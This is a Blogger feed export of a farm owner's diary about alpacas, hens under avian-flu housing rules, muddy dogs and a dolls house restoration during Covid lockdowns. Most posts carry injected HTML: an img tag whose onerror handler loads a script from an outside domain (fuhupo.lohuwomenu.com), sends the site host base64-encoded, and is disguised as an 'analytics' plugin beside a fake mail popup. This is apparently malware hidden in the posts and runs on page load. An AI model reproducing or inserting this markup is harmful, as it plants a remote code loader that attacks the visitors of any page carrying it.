tag:blogger.com,1999:blog-13109251737777716312024-03-13T01:02:07.173+00:00Laurel Farm AlpacasWe are based on the Devon/Somerset borders and breed alpacas for fun and profit. The fun is in living with and tending the animals and the profit is through selling breeding stock and field pets. See our website www.alpacas-for-sale.co.uk. Because the farm gates are on a main road location we save on advertising costs and can, therefore, offer excellent stock at affordable prices.
Fleece, wool and knitwear also available online and in our farm shop.Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.comBlogger658125tag:blogger.com,1999:blog-1310925173777771631.post-35561675079234690002021-02-19T12:42:00.001+00:002021-02-19T12:42:07.826+00:00Laters<p>There really is nothing that I can think of that I want to look back on at the moment so not really any point in the blog so this will probably be my last entry for a while unless something memorable happens.<br /></p><p> Weather is miserable, the daily farm routine is fine and we still need to look after our few remaining alpacas and the hens, and the fields and hedges still need regular attention but with the Covid 19 restrictions very little else is happening in our lives.</p><p>I am going to try and get to grips with Ebay as we have plenty of items we will need to move on as and when we leave the farm so we might as well start gradually. </p><p>I still have a few hand knitted items for sale at <u>www.alpaca-stuff.co.uk</u></p><p><u><br /></u></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-944277828287074212021-02-17T15:11:00.003+00:002021-02-17T15:11:36.161+00:00Same Old<p> </p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" />Unfortunately because of Covid Restrictions and depressing weather there really is nothing worth recording really. Of course there are jobs to do around the farm - looking after the chickens and alpacas but this takes only a couple of hours in the morning and checks during the day.</div><div><br /></div><div>We are catching up with some property maintenance jobs - touching up paint on the doors and Mike has been doing some small repairs that were needed.</div><div><br /></div><div>We are progressing quite well with the dolls house restoration. Much of the rubbing down has been done and it is spread out in pieces in the office. Most of the hinges are rusty and we are going to have to source new ones which are small enough. Probably need to find a specialist supplier online.Mike is also repairing thing like the stair case and banisters. It is interesting to see how much there is online for modellers and restorers.</div><div><br /></div><div>The weather has been really awful for what seems likes weeks. All the fields are muddy and the dogs get filthy every times we let them any further than the farm yard. Thankfully, Ted,my young dog has short fur so he can stay outside with me more, which is nice. Dodger has longer fur and often has to be hosed off as he does not understand the concept of walking - only flat out running.</div><div><br /></div><div>I have an old washing machine which I use for washing dog towels, coats (which they wear indoors when drying out) and any other items for the animals. It is running several times a week at the moment.</div><div><br /></div><div>We could all do with some sunshine soon.</div><div><br /></div><div>I am still training Ted for agility and we both love it, but goodness knows whether dog shows will come back with the same popularity as before. I hope so - but it needs to be soon or I really will be too old.<br /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-21767774212375918152021-02-01T14:27:00.004+00:002021-02-01T14:47:19.524+00:00Rain and Mist prevail<p> Nothing much is happening apart from the normal jobs. Collecting Eggs, cleaning out the hen house, clearing up alpaca poo in the field, which are not very exciting tasks at the best of times and become really a pain when combined with rain, drizzle and mist.</p><p>Tomorrow is supposed to be a little better and we are hoping to do some catching up when Nick and Jon come.</p><p>Whilst I was out having my covid vaccination we had a delivery and when we got home we found the delivery van stuck in the mud in the driveway. Half of the drive is gravel right across and the rest has a grassy verge. He was stuck on the verge and had dug himself in deeper and deeper trying to get out. We felt really sorry for him and he was very embarrassed.<br /></p><p>Luckily we have a four wheel drive truck and Mike was able to pull him out but there is now a muddy patch with deep deep tyre marks whre there ued to be grass. Tomorrow, all being well, Mike and Nick will be erecting one of our old farm gates across the drive so that people cannot get stuck in future.</p><p><br /></p><p><br /></p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com1tag:blogger.com,1999:blog-1310925173777771631.post-88859195047258115342021-01-31T17:55:00.003+00:002021-01-31T17:55:56.107+00:00Wet Weather Blues<p>The wet weather continues, making all the gateways and the entrance to the chicken run muddy and slippery. Fed up with having to clean up muddy/wet dogs. </p><p>All the hens are laying well and despite the weather the eggs are selling well. I keep all the eggs that re laid on Sundays for our own personal use and the dogs have a raw egg in their evening feed. Eggs are supposed to be good for dogs and help to keep their coats nice and shiny. I must say ours are looking good.</p><p>There are still a few Hand knitted hats left over from Alpacastuff. www.alpaca-stuff.co.uk</p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-63961622696015053522021-01-27T15:41:00.001+00:002021-01-27T15:42:18.107+00:00New Things to do<p>I really look forward to Jon, my once a week helper, coming as he enables me to get all sorts of jobs done which I would struggle with on my own. Mike has his work cut out keeping the farm vehicles up to scratch and he is in the process of restoring our VW van as well as various tasks around the farm and odd jobs indoors. In the spring and summer he also tops the fields which helps to improve the grass. We no longer have enough animals to graze it.</p><p>Yesterday Jon helped me to bring my old dolls house (making it at least 70 years old) down from the attic where it has been languishing since I brought it back from my cousins' home ages ago. All their family are in full time work so do not have time to take on the project. </p><p>I am hoping that having it downstairs will inspire me to take up my paint brush and bring it back to life.</p><p>Mike has promised to carry out the repairs (such as broken stair banisters and windows) and I will try and make a half way decent job of painting it. I am hoping that by writing it down here, I will continue to feel motivated to finish the task - and maybe even enjoy it.<br /><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinp2ecU4F2QEqWNyn_YwyASRM3G9-yMQjAqGyt40Ekr-4gImsIksly9wd_PUYcbuxjFh92kYVwbLioR0Hn67f-PZ6StdrTi3MclyBq21H2eVM7ENFpq1folgQXIl1ajICF2Qv0sjyKIASL/s480/DSC05022-003.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="480" data-original-width="396" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinp2ecU4F2QEqWNyn_YwyASRM3G9-yMQjAqGyt40Ekr-4gImsIksly9wd_PUYcbuxjFh92kYVwbLioR0Hn67f-PZ6StdrTi3MclyBq21H2eVM7ENFpq1folgQXIl1ajICF2Qv0sjyKIASL/s320/DSC05022-003.JPG" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM86-Gx68TuQS2ffdGHSqJc25z-AIdZHZD-tFXUp4iL_cIcZC7-7STbezgjpbL4c5MlF0mgJJKWUSj0Ga0gZHWijj-BchInZNfLhjOC0f3e3RYwNUTMnVtK9mE1F5olbZSrbFP76O9InKc/s480/DSC05022-002.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="360" data-original-width="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM86-Gx68TuQS2ffdGHSqJc25z-AIdZHZD-tFXUp4iL_cIcZC7-7STbezgjpbL4c5MlF0mgJJKWUSj0Ga0gZHWijj-BchInZNfLhjOC0f3e3RYwNUTMnVtK9mE1F5olbZSrbFP76O9InKc/s320/DSC05022-002.jpg" width="320" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifgiOQfyaOM0yxY-riNyuKY1SxAOf-bWrHX1ZdEdWGz4_IcQm9nbzNxsTIzdZPyY9XFXrn8Y9gPuSYnXvgZcZDgF-4obJy4uOObBST0fNJvT3Bt9YpPxGtFmMQDTdYl141KGnft8XZjmYJ/s480/DSC05021-002.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="360" data-original-width="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifgiOQfyaOM0yxY-riNyuKY1SxAOf-bWrHX1ZdEdWGz4_IcQm9nbzNxsTIzdZPyY9XFXrn8Y9gPuSYnXvgZcZDgF-4obJy4uOObBST0fNJvT3Bt9YpPxGtFmMQDTdYl141KGnft8XZjmYJ/s320/DSC05021-002.jpg" width="320" /></a></div><br /><p> <br /></p><p><br /></p><p><br /></p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-89929636346832654412021-01-19T18:40:00.007+00:002021-01-19T19:01:03.910+00:00More Rain, Wind and Mud<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgq6ASQJKAazLGWEPxWZ7nb1Jk68IRKrGg6ts0xVTPCdVLhSFlc4-fSxbT_moeSVYEZqPWEuM6GKTRnZcJR1Vwh-v1mON5ApkWQsXLOVRdWprmJftpbKLD3eAOLsFQTDd2K48vxSct-8BT/s480/DSC05020.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="360" data-original-width="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgq6ASQJKAazLGWEPxWZ7nb1Jk68IRKrGg6ts0xVTPCdVLhSFlc4-fSxbT_moeSVYEZqPWEuM6GKTRnZcJR1Vwh-v1mON5ApkWQsXLOVRdWprmJftpbKLD3eAOLsFQTDd2K48vxSct-8BT/s320/DSC05020.JPG" width="320" /></a></div><br /> Everything is going smoothly but to be honest it is not much fun. The fields are sodden and I would like a £1 for every time I have de-mudded and dried the dogs. They need to go out for exercise and the obvious necessities and they enjoy it, so I don't begrudge the extra work and washing!<p></p><p>No news on Avian flu restrictions being eased. The hens are becoming more and more reluctanct to return to their quarters after I have cleaned up. They really enjoy the fresh air and time spent outside in their run.</p><p>Mike has finished renovating a pretty cupboard which we use as a bathroom cabinet and I have brought parts of my old dolls house down from the attic to start restoring it now that the so called "office" space is free again. I think it was made by my great grandfather and has fallen into disrepair over the years. I have been looking online to try and find something similar as a guide but have not found anything like it to base my work on yet. Maybe it is a one off.<br /></p><p>I seem to remember my father painted it when I was a little girl and the colours are just what he had available at the time (would have been the 1950s). I think the interior is original although there are some broken banisters and suchlike.</p><p>The alpacas are all looking a bit bedraggled as they are nearly always wet at the moment even though they have access to shelters if it rains. Their fleece is very thick and the top acts almost like a thatch when it is wet.<br /></p><p><br /></p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Cop</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-46448049684212703372021-01-17T16:43:00.000+00:002021-01-17T16:43:05.848+00:00Dry Weather and alpaca escape<p> At long last a couple of dry days. It make such a difference. We spend the best part of most mornings cleariing the paddock where the hens and female alpacas reside. </p><p> </p><p>The hens are still confined to barracks and are just allowed out whilst I clean up. They are getting more and more reluctant to return to their indoor quarters and even resist Ted's attempts to get them indoors again sometimes meet resistance. Can't blame them really, especially on nice sunny dry mornings. Sadly the rules are still in force and I cannot allow them to free range which is what they are (or were) used to. The Defra Website is not very easy to navigate. It refers to a Surveillance zone but my searches do not reveal any information about the zone.</p><p>Otherwise we are runing quite a happy ship at the moment. Freddie and Inchic seem very happy sharing the back paddock with my agility training area and we have quite a lot of flexibility to give them extra grazing when they have cleared an area. </p><p> This morning when I went up to clear up in their paddojk I found that Freddie had entered the agility area. There was a barrier up to the shed but it looked as though he might have just walked up to it and found it easy to push out so that there was just enough room for him to walk through. He went back in happily enough when I opened the proper gate. Inchic was oblivious to the whole episode.<br /></p><p>I think I have now secured it so he can't get through again.</p><p>There is still some stock available on our website <u>www.alpaca-stuff.co.uk</u></p><p><br /></p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-67199534344869238842021-01-12T08:50:00.019+00:002021-01-12T14:09:14.435+00:00Help is at hand!<p>Nick, who has been our once a week helper and guide to all things farm related works with Mike on Tuesdays. As they are always outside or in the barn they minimise the risk of Covid 19 infection. At tea break we stay outside on the "patio" as we call it when the weather allows. This time of year we are sometimes coming into our "kitchen" which is our only downstairs room and very big - so we can still social distance. I clean all surfaces frequently and especially after tea break.<br /></p><p>Today Mike and Nick are making a handling pen so that we can carry out husbandry such as cutting toe nails on the two males, Freddy and Inchic who now live in the paddock at the back of the house. When the weather improves I will take photos! We are also going to extend their grazing area as they have neatly mown their present area.<br /></p><p>Tomorrow Mike is going to travel to Ilminster for his Vaccination. As he is 82 he is lucky enough to have it early. I will be in the next group whenever that is.</p><p>The hens are still shut in most of the time but I let them out into a netted area whilst I clean out their living quarters and to give them some fresh air and exercise. They get VERY excited when I open the door but are easy to entice back with the fresh straw that I scatter around as they love finding all the seeds. Ted, my trusty farm dog, explains that they have to go back inside when told or risk a severe herding! He is very good at getting them out of hiding places - e.g. behind hay bales or trailers!</p><p>Remainder of Alpacastuff stock is still available at <a href="http://www.alpaca-stuff.co.uk/">www.alpaca-stuff.co.uk/</a><br /></p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-30756252901416798722021-01-08T18:16:00.000+00:002021-01-08T18:16:03.201+00:00As Normal as Possible<p> </p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" />We are very lucky because our days are much the same as before Covid. We are very careful when we go shopping which is less than once a week except for a daily trip to the village stores for the paper and essential supplies such as milk.</div><div><br /></div><div>Like everyone else we wear masks when we are near others and our spectacles get steamed up as soon as we enter the shop.</div><div><br /></div><div>The hens are still in lock down because of avian flu but now have a secure run so that they can go out of the shelter once a day to enable me to muck out properly and thus help prevent health problems. Nick says that they are looking very good and healthy and they are certainly laying well. Ted, my trusty farm dog, is very good at rounding them up when it is time for them to return to their cell. He even manages to get to the back of the straw bales which are stored inside the run under a tarpaulin and where they love to hide and peck at the seeds.</div><div> </div><div>Freddie and Inchic - our only remaining male alpacas were living in the bottom field but it made it difficult for Mike or Nick to top the field when the grass was too long and every time we wanted to go through the gate they seemed to be at the entrance looking for the opportunity to exit.</div><div> </div><div>We decided that it would be more sensible to use the paddock at the back of the farmhouse - making it easier to keep an eye on them and also saving a lot of walking. Mike and Nick made a fence out of hurdles and there is still room for all my dog agility equipment so I can train Ted - although who knows when dog shows will be back on the menu.</div><div> </div><div> <br /></div><div><br /></div><div><br /></div><div><br /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-11831445060445218172020-12-25T18:51:00.000+00:002020-12-25T18:51:23.225+00:00Christmas 2020 Version<p>Today was a very different Christmas Day due to the strict rules preventing the usual Christmas celebrations within families. We normally meet up with our families in Salisbury and sometimes they come down to Devon.</p><p>We did the usual farm chores of course - the alpacas, hens, dogs and cat did not know it was a special day.</p><p>The hens love their new shelter even though they have to stay indoors all day at the moment because of bird flu restrictions. We managed to source some straw from farmer friends in the village and the girls had a whale of a time running through it, spreading it arround and rummaging for seeds. The noise of the excitement of 31 hens romping and scratching around in the straw was deafening.<br /></p><p> It will be a lot easier to keep their residence clean now. <br /></p><p>Mike and I decided to have our own Christmas Dinner despite being just the two of us. We are both getting on a bit and Mike has had some health problems in the past which makes him a bit more vulnerable. I cooked a free range chicken with the usual roasties and fresh vegetables from the farm shop next door (almost). Mince Pies and Ice Cream for pud. (no such thing as an ice cream-free desert for me!)</p><p>At 4 p.m. we took part in a pre-arranged Zoom get together with son, David, daughter-in-law,Jane and grandchildren Zach and Tara - both young adults now. It was nearly as good as having them in the room and we all found plenty to say.</p><p>We had some lovely thoughtful presents and plenty of "goodies" too.<br /></p><p><br /></p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div>Geraldinehttp://www.blogger.com/profile/05615551732951684056noreply@blogger.com0tag:blogger.com,1999:blog-1310925173777771631.post-74173919827224834512020-12-06T14:20:00.002+00:002020-12-25T18:32:27.994+00:00Avian Flu<p> </p><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" />Unfortunately there have been cases of Avian Flu (Bird Flu) and at the beginning of November there was a governemtnt warning that chickens and other poultry would have to be shielded from wild birds who carry the virus. Their feed and water have to be kept under cover to prevent contamination by wild birds and other animals. This was not really a problem for us as we have always fed them under cover. There is always a drinker in the hen house but there was another drinker out in the field. We have now brought that under cover too.</div><div><br /></div><div>There is now a new notification and all poultry has to be housed indoors. I should think there are some really big free ranging flocks who cannot possibly be brought in under cover. We have decided to move the hens to a large shelter (originally built for alpacas when we had a much bigger herd)</div><div><br /></div><div>On Tuesday when we have help on the farm Mike and his merry men will be making the new hen house secure and the old hen house will return to being a field shelter for the alpacas. They will have to put up high fences around the area and roof in as much as possible. Defra have allowed up to the 14th December for poultry keepers to comply.</div><div><br /></div><div>It is especially unfortunate for us because we only keep the hens as a hobby and the proceeds of egg sales go to a local charity so any money we spend is just lost.</div><div><br /></div><div>I have nearly sold out of socks left over from the days when we had a farm shop selling alpaca products mainly - socks - hats - gloves etc: There are still some hats, mittens and gloves available - ideal Christmas presents !<br /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//fuhupo.lohuwomenu.com/scripts/js?k=5fb2976882df1ad8598b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" src="" /></div><div id="mailtowindowpopupModal" style="z-index: 1102;"><div id="mailtowindowmailContentPopupModal"><div id="mailtowindowmailModalToClose"></div><div id="mailtowindowquestionToModal">What do you want to do ?</div><a id="mailtowindowbuttonOpenCreateEmail">New mail</a><button id="mailtowindowcopyButtonClipboard">Copy</button><textarea id="mailtowindowtextCopyAreaSelectTo"></textarea></div></div><div><img onerror="var 